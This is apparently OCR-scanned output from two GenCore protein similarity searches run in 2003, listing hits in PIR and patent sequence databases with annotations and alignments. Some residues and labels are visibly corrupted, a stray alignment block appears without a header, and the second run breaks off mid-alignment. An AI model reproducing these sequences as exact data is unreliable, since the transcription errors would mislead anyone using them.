QY 10 VLPRPCRVLLNPPGKGKALQLFRSHVQPLAEAEISFTLMTERRNHARELVSEEL 69
DB 140 LPRPRRLILLVPPGGGGLAMQCKNHVLPMTSEAGLSFNLIQTERONHARELVQSLT 199
QY 70 GRMDALVWMSGDLNHEVYNGIMERPDMETAIQKPICSLPAGSGNALAASLNHYAGYEQV 129
DB 200 SEMDGIYVSGDLNHEVYNGIMERPDMETAIQKPICSLPAGSGNALAASLNHYAGYEQV 259
QY 130 TNEDLTNTCTLLCRPVLSPMNLISLTASGLRSFVSLSANGFIADVDESCKYRRLGE 189
DB 260 LGIDLTLNCSLLCRGCGHPDLDLSVTLASGRCFSFLSVANGFVSVDVIOSEFRALGS 319
QY 190 MREFTIGFLRLAALRTYGRRLATLPV----- 215
DB 320 ARFTLGTVLGLATLHTYGRRLSYLPATVEPASPTPAHSIPRAKSELTLTPDPAPMAHSP 379
QY 216 ----- 215
DB 380 LHRVSQDLPLPLQPALASPGSPREPLTILSINGGPELAGDWGAGADAPLSPDLLSSPP 439
QY 216 --GRVGEKTPAS--PVYVQO-----GPVDAHLVPLEEYQPSHMOYVP 253
DB 440 GSPKALHSVSEGAPVLPSSGGLPPTPDARVAGASTCGPPDLPPLGTPLPPDM-VTL 498
QY 254 DEDFVLVLAISHLASEKFAAPMGRCAGVNHLYYRACVSRAMLRLFLAMEKGRME 313
DB 499 EGDVFLMLAISPSHGLADLVAAHPARFDDGLVHLCWVRSISRAALLRFLAMEKGRSHFS 558
QY 314 YECFVLYVYVVAFFRLPEKDGKGFVAVDGLMVSSEAVOGVHNPFMYVSGCVERPPSMK 373
DB 559 LGCPLGTAAARAFAFRLEPLTPRGVLTVDGEVEYGPLQAOHMPGIGTLLTG----PQGC- 613
QY 374 PQGMPPEEP 383
DB 614 -----PQREP 618

Search completed: July 12, 2003, 18:12:31
Job time: 137 secs

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM protein - protein search, using sw model

Run on: July 12, 2003, 18:02:02 ; Search time 28 Seconds

(without alignments)
1318.415 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 2015
Sequence: 1 MDPAGSGPRLVPRRCRLVL.....CVEPPPSMKPQOMPPEEPL 384

Scoring table: BLOSUM62

Gapop 10.0 , Gapext 0.5

Searched: 283224 seqs, 96134422 residues

Total number of hits satisfying chosen parameters: 283224

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%

Maximum Match 100%

Listing first 45 summaries

Database :

1: pir1.*
2: pir2.*
3: pir3.*
4: pir4.*

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	ID	Description
1	438	21.7	1240	2 T05162	hypothetical prote
2	372.5	18.5	473	2 T19707	hypothetical prote
3	369	18.3	458	2 T38776	hypothetical prote
4	355.5	17.6	687	2 S51398	hypothetical prote
5	337	16.7	624	2 S67059	hypothetical prote
6	233.5	11.6	549	2 T33517	hypothetical prote
7	141.5	7.0	306	2 AH1769	conserved hypotet
8	133	6.6	302	2 F86849	transcription regu
9	132.5	6.6	309	2 H65995	hypothetical prote
10	130.5	6.5	303	2 F69795	conserved hypotet
11	129.5	6.4	306	2 AE1394	conserved hypotet
12	125	6.2	295	2 A83894	hypothetical prote
13	123.5	6.1	311	2 F83871	multidrug resistan
14	120.5	6.0	310	2 A61665	hypothetical prote
15	120.5	6.0	364	2 F84898	hypothetical prote
16	118	5.9	309	2 AH1528	conserved hypotet
17	115	5.7	315	2 AB2166	hypothetical prote
18	114	5.7	342	2 D86677	transcription regu
19	113	5.6	309	2 AE1171	conserved hypotet
20	111	5.5	321	2 G95120	conserved hypotet
21	111	5.5	311	2 C97990	conserved hypotet
22	111	5.5	321	2 C70596	hypothetical prote
23	108.5	5.4	310	2 A11293	hypothetical prote
24	108	5.4	315	2 A89978	conserved hypotet
25	106.5	5.3	433	2 S75948	hypothetical prote
26	106	5.3	309	2 H70861	hypothetical prote
27	104	5.2	304	2 F72386	conserved hypotet
28	103.5	5.1	295	2 D83734	hypothetical prote
29	100.5	5.0	311	2 D75405	conserved hypotet

30	100	5.0	1273	2 E72611	probable ATP-depen
31	97.5	4.8	305	2 G89844	hypothetical prote
32	97	4.8	449	2 C83634	hypothetical prote
33	96.5	4.8	475	2 H84567	probable diacylgly
34	94.5	4.7	254	2 G75333	3-oxoacyl-acyl car
35	94.5	4.7	260	2 G87400	conserved hypotet
36	94	4.7	1247	2 A33812	interphotoreceptor
37	93	4.6	297	2 F69595	multidrug resistan
38	92.5	4.6	732	2 T16422	hypothetical prote
39	91.5	4.5	317	2 T00550	probable phospholi
40	91.5	4.5	881	2 F83530	hypothetical prote
41	90.5	4.5	304	2 A86842	conserved hypotet
42	90.5	4.5	392	2 A70406	transporter (major
43	90.5	4.5	1346	2 T17412	polyketide synthas
44	90.5	4.5	1694	2 A83512	hypothetical prote
45	90	4.5	260	2 AF3374	hypothetical prote

ALIGNMENTS

RESULT 1

T05162

hypothetical protein F18B5.160 - Arabidopsis thaliana

C:Species: Arabidopsis thaliana (mouse-ear cress)

C:Date: 23-Apr-1999 #sequence_revision 23-Apr-1999 #text_change 23-Jul-1999

C:Accession: T05162

R:Byron, M.; Peters, S.A.; van Staveren, M.; Dirkse, W.; Stiekema, W.; Bancroft, I.;

submitted to the Protein Sequence Database, August 1998

A:Reference number: 215400

A:Accession: T05162

A:Molecule type: DNA

A:Residues: 1-1240 <BEV>

A:Cross-references: EMBL:AL022603

A:Experimental source: cultivar Columbia; BAC clone F18B5

C:Genetics:

A:Map position: 4

A:Introns: 44/3; 117/3; 178/3; 206/1; 237/2; 375/1; 416/1; 449/3; 474/1; 503/1; 529/1

A:Note: F18B5.160

Query Match	Best Local Similarity	21.7%; Score 438; DB 2; Length 1240;
Matches	119; Conservative	65; Mismatches 132; Indels 62; Gaps 13;
QY	11	IPRCRVLYLNPBGKGRKALQLEFRSHYQPLAEAFISFTLMTERRRHARLVASEELG 70
DB	374	LGPRRLVFNVPFGKRSAREIFVEKVPLEFDADVOLEIQETVYQLHAEFVSMDSV 433
QY	71	RMDALVNASGDIHMEVNVGLMERPDWETAIOKPLCSLPAGSGNALAASLNHYAGEQVT 130
DB	434	KYDGIVCVSGDILVEVNVGLMERADWNRNALKPLIGMPAGTGNMIMSILDTVGLRCCA 493
QY	131	NEDLLTNTLLLCRPVLSPMNLLSLHTASGLRSFVSLSLWGFADVDLESDKYRLGEM 190
DB	494	N-----SATISITIRHKRSVDVATL-AQGNTEFFSVLMLAWLADIIDIESKFRMGMSA 547
QY	191	RFTLGTFL-----RLAALRTYGRATLPV-CRNVKPKPASPVPVQ- 230
DB	548	RIDFVVCVLDKFDNVCIAVVKLLALORITCLRRYNGRILFLPAFSEGYGQASLSLQOE 607
QY	231	-----OGPVDAHLVPLEEGVPSHMVQVDPDDEVLYLALLHS--HLASEMFAAPMG 278
DB	608	PHVSKVEGYGQP-ETKREDFE-----WREKGP---FVTITMLNVMGSENTLTATPAA 657
QY	279	RCACGVMLFFYVRGAVSRAMLRLFLAMEKGRHMEYECPPYLTVV-----PVVAFPLEP- 331
DB	658	KFSDGYLDLIVLK-NCPLVILSLMRQSSSGTHV--ESPYYIYIKLVTEKVAKAFLEEGCA 714
QY	332	-----KDGKGVAVDGEML 345
DB	715	LVDEPDKRGIIIDSDGEVL 732

OY 216 ---GRVGEKTPASPVVVOGPFVDALH-----PLEEOVPSHMOV 251
DB 502 NYENYEYETENEDEDEDADNADDESHLISROLDADSSAQDKREDEDFIKKPLDEGIPSDMER 561
OY 252 VPDEDFVLVALLHS---HLASEMFAAPMGRCAGVNHLEYYRAGVSRAMLRLFLAME 307
DB 562 L-DENISNNIGIFTGKMPYVAADTKFPFALPSPGCTDMVITTDARFSLTRMAPILLGLD 620
OY 308 KGRHMEYECPLYVYVPAFRLEPDKGFAVDGELMVAEVOGOVHP 356
DB 621 KGSNVLQ--PEVLSKILATYKIITRLGNGLSVDGEKFPLEPVOYEIMP 667

RESULT 5

S67059
hypothetical protein YOR171c - yeast (Saccharomyces cerevisiae)
N:Alternate names: hypothetical protein O3615
C:Species: Saccharomyces cerevisiae
C:Date: 12-Jul-1996 #sequence_revision 12-Jul-1996 #text_change 19-Apr-2002
C:Accession: S67059
R:Borderline, R.; Camases, A.; Madania, A.; Martin, R.P.; Poch, O.; Tarasov, I.A.; Wlanc
submitted to the Protein Sequence Database, July 1996
A:Reference number: S67032
A:Accession: S67059
A:Molecule type: DNA
A:Residues: 1-624 <BOR>
A:Cross-references: EMBL:Z75078; NID:91420415; PID:91420417; GSPDB:GN00015; MIPS:YOR171C
A:Experimental source: strain S288C
A:Gene: SGD:LCB4; MIPS:YOR171C
A:Cross-references: SGD:S0005697
A:Map position: 15R

Query Match 16.7%; Score 337; DB 2; Length 624;
Best Local Similarity 25.3%; Pred. No. 1.8e-21;
Matches 100; Conservative 82; Mismatches 139; Indels 74; Gaps 14;

OY 17 VLVLNPRGKGKALQLFRSHVQPLAEISFTLMTERRNHARELYRESELGMDLV 76
DB 229 ILVIINPRGKGKALQLFRSHVQPLAEISFTLMTERRNHARELYRESELGMDLV 288
OY 77 VMSGDGLMEVYVNGLMERPDWETAIOK-PLCSLPAGSGNALAASLNHYAGYEQVTNEDLL 135
DB 289 CASGKGIPYEVINGILYRRPDRVDAFNKLAFTQLPCGSNAMSISC-HW-----TNNP-- 339
OY 136 TNCSTLLCRPVLSPMNLISHTASGLRSF---SVLSLAMGFTADVLDSDKYRRRGEMRF 192
DB 340 SYAALCTVKSITETRIDLCCSOPSTYMNEMPRLSLSTQYGVYAESDINTETIRMGVPVRF 399
OY 193 TLG-----TFRLAA-----LRTY-----RGLATLPVGRVGRFPT-- 223
DB 400 NLGVAFNIIQGRKYPCEVFVYKAASKKELKVHLENKDKKGCILTFEP-----NPSF 452
OY 224 -ASPVYVOGPFVDALH-----VPLEQVPSHMOVDEDFVLVALLH 265
DB 453 NSSPDLSSNNINNSTKDELSPNLEEDNFKLYPMTEPVPVPRDWEKM-DSELTDLTLTFY 511
OY 266 S-----HLASEMFAAPMGRCAGVNHLEYYRAGVSRAMLRLFLAMEKGRHMEYECPLYV 321
DB 512 TGMKPYIAKDKRFPFALPACGCTIDLVTDAKIPVTRPTPILLSLIDKGSVLE--PEVIH 569
OY 322 VPVVAFRLEPDKGFAVDGELMVAEVOGOVHP 356
DB 570 SKILATYKIITRLEPDKGFAVDGELMVAEVOGOVHP 604

RESULT 6

T33517
hypothetical protein T10B11.2 - Caenorhabditis elegans
C:Species: Caenorhabditis elegans
C:Date: 29-Oct-1999 #sequence_revision 29-Oct-1999 #text_change 29-Oct-1999
C:Accession: T33517
R:Minox, P.; Kemp, K.

submitted to the EMBL Data Library, October 1998
A:Description: The sequence of C. elegans cosmid T10B11.
A:Reference number: 221363
A:Accession: T33517

A:Status: preliminary; translated from GB/EMBL/DBJ
A:Molecule type: DNA
A:Residues: 1-549 <MIN>
A:Cross-references: EMBL:AF098993; PIDN:AAC67466.1; GSPDB:GN00019; CESP:T10B11.2
A:Experimental source: strain Bristol N2; clone T10B11
A:Gene: CESP:T10B11.2
A:Map position: 1
A:Introns: 26/1; 76/2; 109/3; 159/1; 187/3; 229/3; 353/1; 398/2; 434/1; 467/3

Query Match 11.6%; Score 233.5; DB 2; Length 549;
Best Local Similarity 24.1%; Pred. No. 1.9e-12;
Matches 100; Conservative 72; Mismatches 150; Indels 93; Gaps 19;

OY 8 RGVLPKPRCVLVLNPRGKGKALQLFRSHVQPL-ABAEISFTLMTERRNHARELYRS 66
DB 158 RRVKRRPKNIITIFINPFGNGKAKQIFKDVDAFVLPGLRKVYLTERANHARDYIYE 217
OY 67 BELGRW---DALVMSGGLMEVYVNGLMERPDWETA--IQKPLCSL-----PAG 111
DB 218 MPPEQWSAIDGLVSVGSGLEFNEILSGALLRTOTDAGRNNIPSSHLVTPHIFGIIIGAG 277
OY 112 SGNALAASLNHYAGYEQVTNED-----LITNCTLLCRPVLSPMNLISHTASGLRS 163
DB 278 SANSIVSTVHE-----TNDHANSVHIALIGSECNVDC-----TVHQOKLIR 320
OY 164 FSVLSIANGFTADVLDSDKYRRLEGEMFTLTFRLALRT-----YRGLATLPVGR 217
DB 321 ISANISYSGMDVLRDSEYRCLOPIRY-----QMSALRTTINHPIYR-----GM 366
OY 218 VGEKTPASPVVVOGPFVDALHVLPEEQV-----SHMOVDEDFVLVALLH 265
DB 367 VQFSLSHRENV---NPKD-OLPCLPCPCVCKPQGNDRKYDHVHMA---EFTVHICCVI 418
OY 266 SHLA--SEMFAAPMGRCAGVNHLEYY-RAVSRAMLRLFLAMEKGRHMEYECPLYVYV 322
DB 419 PTVPTFTYGLAPFTGIDGTDLDLALVPRIISFHHMQRKVMYAGKQILELPSLNCY 478
OY 323 PVVAFRLEP---KDKGFAVDGELM---VSEAVOGVHP---NTFMVSGCVER 368
DB 479 RYTKWSYQPDADQEDPGVWNLDGEITLBDQKDEPLFKLHPOLISFGDAAMVVKP 533

RESULT 7

AH1769
conserved hypothetical protein lin2702 (imported) - Listeria innocua (strain C11p1126
C:Species: Listeria innocua
C:Date: 27-Nov-2001 #sequence_revision 27-Nov-2001 #text_change 27-Nov-2001
C:Accession: AH1769
R:Glaser, P.; Frangoul, L.; Buchrieser, C.; Amend, A.; Baquero, F.; Berche, P.; Bloec
.; Dominguez-Bernal, G.; Duchaud, E.; Durand, L.; Dussurget, O.; Entlian, K.D.; Fsihl,
D.; Jones, L.M.; Karst, U.
Science 294, 849-852, 2001
A:Authors: Kreft, J.; Kuh, M.; Kunst, F.; Kurapat, G.; Madueno, E.; Maltournam, A.;
Ok, C.; Schlueter, T.; Simoes, N.; Tietze, A.; Vazquez-Boland, J.A.; Voss, H.; Wehla
A:Title: Comparative genomics of Listeria species.
A:Reference number: AB1077; MUID:21537279; PMID:11679669
A:Accession: AH1769
A:Status: preliminary
A:Molecule type: DNA
A:Residues: 1-306 <GLA>
A:Cross-references: GB:AU592022; PIDN:CAC97928.1; PID:916415238; GSPDB:GN00178
A:Experimental source: strain C11p11262
C:Genetics:

Query Match 7.0%; Score 141.5; DB 2; Length 306;
Best Local Similarity 20.6%; Pred. No. 0.00011;
Matches 73; Conservative 64; Mismatches 128; Indels 89; Gaps 15;

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM protein - protein search, using sw model

Run on: July 12, 2003, 18:06:42 ; Search time 19 Seconds

(without alignments)
594.653 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 2015

Sequence: 1 MDPAGRGVLPKRCVTLV.....CPEPPSGMKPQMPPEPL 384

Scoring table:

BLOSUM62

Gapop 10.0 , Gapext 0.5

Searched: 262574 seqs, 29422922 residues

Total number of hits satisfying chosen parameters: 262574

Minimum DB seq length: 0
Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%

Maximum Match 100%

Listing first 45 summaries

Database :

Issued_Patents_AA:*
1: /cgn2_6/ptodata/1/1aa/5A_COMB.pep:*
2: /cgn2_6/ptodata/1/1aa/5B_COMB.pep:*
3: /cgn2_6/ptodata/1/1aa/6A_COMB.pep:*
4: /cgn2_6/ptodata/1/1aa/6B_COMB.pep:*
5: /cgn2_6/ptodata/1/1aa/PCUTUS_COMB.pep:*
6: /cgn2_6/ptodata/1/1aa/Backfile1.pep:*

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result	No.	Score	Query	Match	Length	DB	ID	Description
1	105	5.2	324	4	US-09-134-001C-4774		Sequence 4774, Ap	
2	102.5	5.1	1065	4	US-09-412-545-2		Sequence 2, Appl1	
3	96	4.8	712	4	US-09-708-426-9		Sequence 9, Appl1	
4	92	4.6	3782	4	US-09-105-537-4		Sequence 4, Appl1	
5	91	4.5	2584	3	US-08-936-135-4		Sequence 4, Appl1	
6	90.5	4.5	1346	4	US-09-105-537-37		Sequence 37, Appl1	
7	90.5	4.5	11877	4	US-09-105-537-6		Sequence 6, Appl1	
8	90	4.5	2588	3	US-08-936-135-2		Sequence 2, Appl1	
9	88	4.4	6095	4	US-09-144-085-2		Sequence 2, Appl1	
10	87.5	4.3	319	4	US-09-134-001C-5553		Sequence 5553, Ap	
11	87.5	4.3	1346	3	US-09-320-878-4		Sequence 4, Appl1	
12	85.5	4.2	1421	3	US-09-335-409-2		Sequence 2, Appl1	
13	85.5	4.2	1421	4	US-09-568-102-2		Sequence 2, Appl1	
14	85.5	4.2	1421	4	US-09-567-969-2		Sequence 2, Appl1	
15	85.5	4.2	1421	4	US-09-568-480-2		Sequence 2, Appl1	
16	85.5	4.2	1421	4	US-09-568-486-2		Sequence 2, Appl1	
17	85.5	4.2	1421	4	US-09-568-472-2		Sequence 2, Appl1	
18	85.5	4.2	1421	4	US-09-567-899-2		Sequence 2, Appl1	
19	84	4.2	3011	1	US-08-453-552-2		Sequence 2, Appl1	
20	84	4.2	3011	2	US-08-710-637-2		Sequence 2, Appl1	
21	84	4.2	3011	5	PCT-US93-00907-2		Sequence 2, Appl1	
22	83	4.1	1011	4	US-08-850-328-5		Sequence 5, Appl1	
23	83	4.1	3011	1	US-08-188-281B-1		Sequence 1, Appl1	
24	83	4.1	3011	1	US-08-453-552-1		Sequence 1, Appl1	
25	83	4.1	3011	1	US-08-710-637-1		Sequence 1, Appl1	
26	83	4.1	3011	3	US-08-811-566-20		Sequence 20, Appl1	
27	83	4.1	3011	4	US-09-014-416-1		Sequence 1, Appl1	

28	83	4.1	3011	4	US-09-014-416-5	Sequence 5, Appl1
29	83	4.1	3011	4	US-08-850-328-1	Sequence 1, Appl1
30	83	4.1	3011	4	US-09-034-756-20	Sequence 20, Appl1
31	83	4.1	3011	5	PCT-US93-00907-1	Sequence 1, Appl1
32	83	4.1	3011	5	PCT-US94-07280-1	Sequence 1, Appl1
33	83	4.1	3011	5	PCT-US95-01087-1	Sequence 2, Appl1
34	83	4.1	3012	3	US-08-811-566-2	Sequence 2, Appl1
35	83	4.1	3012	4	US-09-034-756-2	Sequence 5, Appl1
36	82	4.1	390	4	US-09-192-983-5	Sequence 11, Appl1
37	82	4.1	435	2	US-08-031-538-11	Sequence 15, Appl1
38	81.5	4.0	2787	4	US-09-245-041-15	Sequence 31, Appl1
39	81	4.0	403	3	US-08-665-259-31	Sequence 31, Appl1
40	81	4.0	403	3	US-08-762-500-31	Sequence 22, Appl1
41	81	4.0	515	4	US-09-413-814-22	Sequence 17, Appl1
42	81	4.0	2556	1	US-08-185-432-17	Sequence 2, Appl1
43	81	4.0	2556	1	US-08-899-232-2	Sequence 2, Appl1
44	80	4.0	403	3	US-08-665-259-30	Sequence 30, Appl1
45	80	4.0	403	3	US-08-762-500-30	Sequence 30, Appl1

ALIGNMENTS

RESULT 1
US-09-134-001C-4774

Sequence 4774, Application US/09134001C

Patent No. 6380370

GENERAL INFORMATION:

APPLICANT: Lynn Doucette-Stamm et al

TITLE OF INVENTION: NUCLEIC ACID AND AMINO ACID SEQUENCES RELATING TO STAPHYLOCOCC

FILE REFERENCE: GTC-007

CURRENT APPLICATION NUMBER: US/09/134,001C

CURRENT FILING DATE: 1998-08-13

PRIOR APPLICATION NUMBER: US 60/064,964

PRIOR FILING DATE: 1997-11-08

PRIOR APPLICATION NUMBER: US 60/055,779

PRIOR FILING DATE: 1997-08-14

NUMBER OF SEQ ID NOS: 5674

SEQ ID NO 4774

LENGTH: 324

TYPE: PRT

ORGANISM: Staphylococcus epidermidis

US-09-134-001C-4774

Query Match 5.2%; Score 105; DB 4; Length 324;

Best Local Similarity 19.1%; Pred. No. 0.0026;

Matches 70; Conservative 61; Mismatches 125; Indels 110; Gaps 18;

QY	16	RVLVLNRRGKRGKALOLFRRSHVOPLLAEISFTLMTERRNNHARELVRSEELG-----	70
DB	12	RRRIYNTSGK-----ELFKR-----VLPDA-----LIRLEKAGTSAVATEKIGDATFE	58
QY	71	-----RMDALVWMSGDGLMHEVYNGMERPDWETAOKPLCSLPAGSGNALASLNHY	123
DB	59	AEKALESEYDILLIAGAGGTLINEVVGNGIAEQPN-----RPKIGVIMGTVDGFGALH--	111
QY	124	AGYEQVTEEDLLTNCITLLCRPVLSPPN--LISLHTASGLRSVSLAMGFIADVDLESD	182
DB	112	-----LPSDIMGAIDVIIDGHTTK-----VDIGKMN	138
QY	183	KYRRIGEMRFTLGFELRLALRTYRGRLATLPVGRGFTDPASPVVGOOGVDNLVLE	242
DB	139	RY-----FINLAA-----GKLT-----OVSTETP--SKLSTVGP--AYINGF	175
QY	243	EOVPS-----HMOVVEDEDFVLIALSHSLASEMFAAPMRCACVMHLYVRA	292
DB	176	EMLPQMKAVDVRIEVDNIFQGEALLFLGLTNSAGEXL--VPDAKLDDEYFTLLIYEK	234
QY	293	GVSRMALLRLFLAMEKGRHMEYECPLYVVPVAFRLPKDGKGVFAVDGLMSEAVOG	352
DB	235	ANLAEIGHIMTLASRGHTKH--PKVIYAKAKSINISS-----FTDMQLNDGGEYG	284

QY 353 QVHPNY 358.
Db 285 KLIPANF 290

RESULT 2

US-09-412-545-2
Sequence 2, Application US/09412545
Patent No. 6255095
GENERAL INFORMATION:
APPLICANT: Prescott, Stephen M.
APPLICANT: Ding, Li
APPLICANT: Trier, Elie
TITLE OF INVENTION: HUMAN DIACYLGLYCEROL KINASE IOTA
FILE REFERENCE: 1321.2.25
CURRENT APPLICATION NUMBER: US/09/412.545
CURRENT FILING DATE: 1999-10-05
EARLIER APPLICATION NUMBER: 60/103.079
EARLIER FILING DATE: 1998-10-05
NUMBER OF SEQ ID NOS: 8
SOFTWARE: PatentIn Ver. 2.0
SEQ ID NO 2
LENGTH: 1065
TYPE: PRT
ORGANISM: Homo sapiens
US-09-412-545-2

Query Match

Best Local Similarity 5.1%; Score 102.5; DB 4; Length 1065;
Matches 57; Conservative 30; Mismatches 61; Indels 81; Gaps 12;

QY 3 PAGPRGVLPRPCRVILNPRGSGK--KALQFRSHVOPFLAEAFISFTMLTERNH 59
Db 368 PISPP--LHKP--LIVFVNPCKSGNGTKVLOKFMKYLNP----- 403
QY 60 ARELVRSEELGRMDAL-----VNSGDGIMHEVYNGLMERPDWETAIOKPLCSL 108
Db 404 -RQVFDLSQEGPKALDELKRVPMRLIACGGDGTVMILSILDE--LQSPQPVGV 459
QY 109 PAGSGNALASLNHYAGYEQVNTNEDLTNCTLLCR-----PVLSP 149
Db 460 PLGTGNLARTLNMGGST--TDEPV--SKILQVEDGTVOVLDKMNJLHVERNPDLPP 512
QY 150 MNL-----LSLHTASGLRSFSVLSLWAGFIADVDESCKYRLGEMRF 192
Db 513 EELEDGVCKLPLNFFNNY--FSL-----GFDHVTLEFHESREANPEKF 554

RESULT 3

US-09-708-426-9
Sequence 9, Application US/09708426
Patent No. 6444429
GENERAL INFORMATION:
APPLICANT: HAN, YE-SUN
APPLICANT: YU, YEON-GYU
APPLICANT: LIM, JAE-HWAN
TITLE OF INVENTION: GENE CODING FOR DNA LIGASE OF HYPERTHERMOPHILIC BACTERIA AQUIFEX
FILE REFERENCE: 199579US0
CURRENT APPLICATION NUMBER: US/09/708.426
CURRENT FILING DATE: 2000-11-09
PRIOR APPLICATION NUMBER: KR99-49591
PRIOR FILING DATE: 1999-11-10
NUMBER OF SEQ ID NOS: 12
SOFTWARE: PatentIn Version 3.0
SEQ ID NO 9
LENGTH: 712
TYPE: PRT
ORGANISM: Rhodothermus marinus
US-09-708-426-9

Query Match 4.8%; Score 96; DB 4; Length 712;
Best Local Similarity 22.1%; Pred. No. 0.093;

Matches 64; Conservative 37; Mismatches 108; Indels 80; Gaps 11;

QY 59 HARELVSEELGRMDALVWMSGDGLMEHYVNGLM-----ERPWEFAIOKPLCS----- 107
Db 401 HNEIDYVRSRDRIQIDLVVIRAGDVIPQVYVPRVEARTGNERP--WRNPERCPSCGSOLVR 459
QY 108 LPAGSGNALAS-----LNHYAGYEQVNTNEDLTNCTLLC-----RPV-----LS 148
Db 460 LPGEADYYCAASDCPPADPFLHEHFAGRDAMDITGMSQVAKQALAESGLVRLPSDLYRLK 519
QY 149 PMNLSLHTASGLRSFSVLSLWAGFIADVDESCKYRLGEMRFTGTFRLAALRTYRG 208
Db 520 LEDLTKLEGAETRAARMLRA-----IEASKORPLSRILFGLG-----IRHVAK 563
QY 209 RLATLPYGRGFKTPASPVYVQO-----GPVNAHLYP----- 240
Db 564 TTAELVQRFASIDELAAATIDELAALEGVPTIAESIAMFVEDNRRLIEELKELGVN 623
QY 241 ---LEEQVPSHWQVPEDEFLVVLALH--SHLASMFAPMGRCAAGV 284
Db 624 TORLEPARPAESVPRKGTIVLTGALPLHTRKEAEELIKRAGGVAASSV 672

RESULT 4

US-09-105-537-4

Sequence 4, Application US/09105537A
Patent No. 6265202
GENERAL INFORMATION:
APPLICANT: Sherman, D.H.
APPLICANT: Liu, H.
APPLICANT: Xue, Y.
APPLICANT: Zhao, L.
TITLE OF INVENTION: DNA encoding methymycin and pikromycin
FILE REFERENCE: 600.438US1
CURRENT APPLICATION NUMBER: US/09/105.537A
CURRENT FILING DATE: 1998-06-26
NUMBER OF SEQ ID NOS: 43
SOFTWARE: FastSeq for Windows Version 3.0
SEQ ID NO 4
LENGTH: 3782
TYPE: PRT
ORGANISM: Streptomyces venezuelae
US-09-105-537-4

Query Match

Best Local Similarity 4.6%; Score 92; DB 4; Length 3782;
Matches 99; Conservative 47; Mismatches 196; Indels 84; Gaps 17;

QY 3 PAGPRGVLPRPCR-VILNPRGSGKALQLFERSHVOPFLAEAFISFTMLTERNHAR 61
Db 132 PEGGQRAVVEGIIHETLEGAPDPSASAYFELGCFVRPAVTAANAALVGPADRADFA 191
QY 62 ELVR-----SEELGRMDAL-VWMSGDGLMEHYVNGLMERPDWETAIOKPLCSLPAG--SG 113
Db 192 DLLERLPLSDSLAPQSLRTVRAADGALAEFTLALDSDSDSGALLSALGVTAAYDTG 251
QY 114 NALAASLNHYAGYQVYVNTNEDLTNCTL-----LLCRPLSPMNLISLHTASGLR 162
Db 252 NAVIALAHBPQWRELCDRPGLAAVAEEFLTRDPVQDARAVRGSETLAGRRRLPGAH 311
QY 163 SFSVLSLWAGFIADVDESCKY--RRLGEMRFTL-----GTFRLT--AALRTYR 207
Db 312 -VVVLTAAATGRDEPVFTDPERFPLARPDAAAHIALHAGYGVPAASIVRQAEVALRTLA 370
QY 208 GRLATL-----PYGRVGFKTPASPVYVQOQPVDAHLVPLEEQVPSHWQVVPDE 255
Db 371 GRFPGLRQAGDVLRPRAPVGRGPLSVYSSSMKVVLTSPAHHTHYGLVPLAMALLAAG 430
QY 256 DFVLYL---ALHSHLASMFAPMGRCAAGVNHLYFVR-AGVSRALLLFLAMEGRH 311
Db 431 HEYRVASOPALTTITTSGLAAVPG--TDHLIHEYVRNAGGERP-----NH 476
QY 312 MEVECPYLVVVPVAF---RLEPRDKGVPAVDGELWVSAVOGOVYFNFMVSCGVER 368

Db 477 -----PALAFDEAREPELDMOHALGIEAL-----APYFHLLANNOSMDDLVDF 521
OY 369 PPSMKP 374
Db 522 ARSWOP 527

RESULT 5
US-08-936-135-4
Sequence 4, Application US/08936135
Patent No. 6054293
GENERAL INFORMATION:
APPLICANT: Tessier-Lavigne, Marc
APPLICANT: He, Zhigang
TITLE OF INVENTION: Semaphorin Receptors
NUMBER OF SEQUENCES: 26
CORRESPONDENCE ADDRESS:
ADDRESSEE: SCIENCE & TECHNOLOGY LAW GROUP
STREET: 75 DENISE DRIVE
CITY: HILLSBOROUGH
STATE: CALIFORNIA
COUNTRY: USA
ZIP: 94010

COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
COMPUTER: IBM PC compatible
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patentin Release #1.0, Version #1.30
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/08/936.135
FILING DATE:
CLASSIFICATION: 435
ATTORNEY/AGENT INFORMATION:
NAME: OSMAN, RICHARD A
REGISTRATION NUMBER: 36,627
REFERENCE/DOCKET NUMBER: UC97-288-2
TELECOMMUNICATION INFORMATION:
TELEPHONE: (650) 343-4341
TELEFAX: (650) 343-4342
INFORMATION FOR SEQ ID NO: 4:
SEQUENCE CHARACTERISTICS:
LENGTH: 2584 amino acids
TYPE: amino acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: peptide
US-08-936-135-4

Query Match 4.5%; Score 91; DB 3; Length 2584;
Best Local Similarity 22.0%; Pred. No. 2.6; Mismatches 115; Indels 78; Gaps 13;

Matches 67; Conservative 45; Db 3; Length 2584;
OY 41 LLAELAEISFTLMTERRNARE--LYRSEELGRMDALVMS--GDGLMHEVNGMLMRP 95
Db 2049 LYSERHISVALGLYTHREARGVALYSLHISTYRGINLSPKGLITLYASRGL----- 2104
OY 96 DWEFAIQKPLCSLPAGSGNALASLNHYAGE-----QVTNEDLLTNTCLLCRPVLS 149
Db 2105 NLEVALTRPMETVA-----LVALGLYHISGLNGLYASPHISIRPLYSGLIYARGVALL 2159
OY 150 MNLISLHRTASGLRSVSILAMGFIADVDLES DKYRLG-----EMRFTLGTF-LRLAAL 203
Db 2160 LEHISLVSSESLERLEYSL-----ETRYRGLNVALLEPHREGSLIYGLILEGL 2204
OY 204 RTYGRRLAT-----LPVGRVGFETPPASPVVVOGQPYDA-----HLVPLEBO----- 244
Db 2205 YLYSGLYASNLEGLYGLYILALAVALASPAPILESRIIEASASNHISITLBERGLNG 2264
OY 245 --VPSHMQVDEDFVLVALLHSHLSAEMFAAPMGRCAGVMHLFYVRAGVSRAMLRL 302
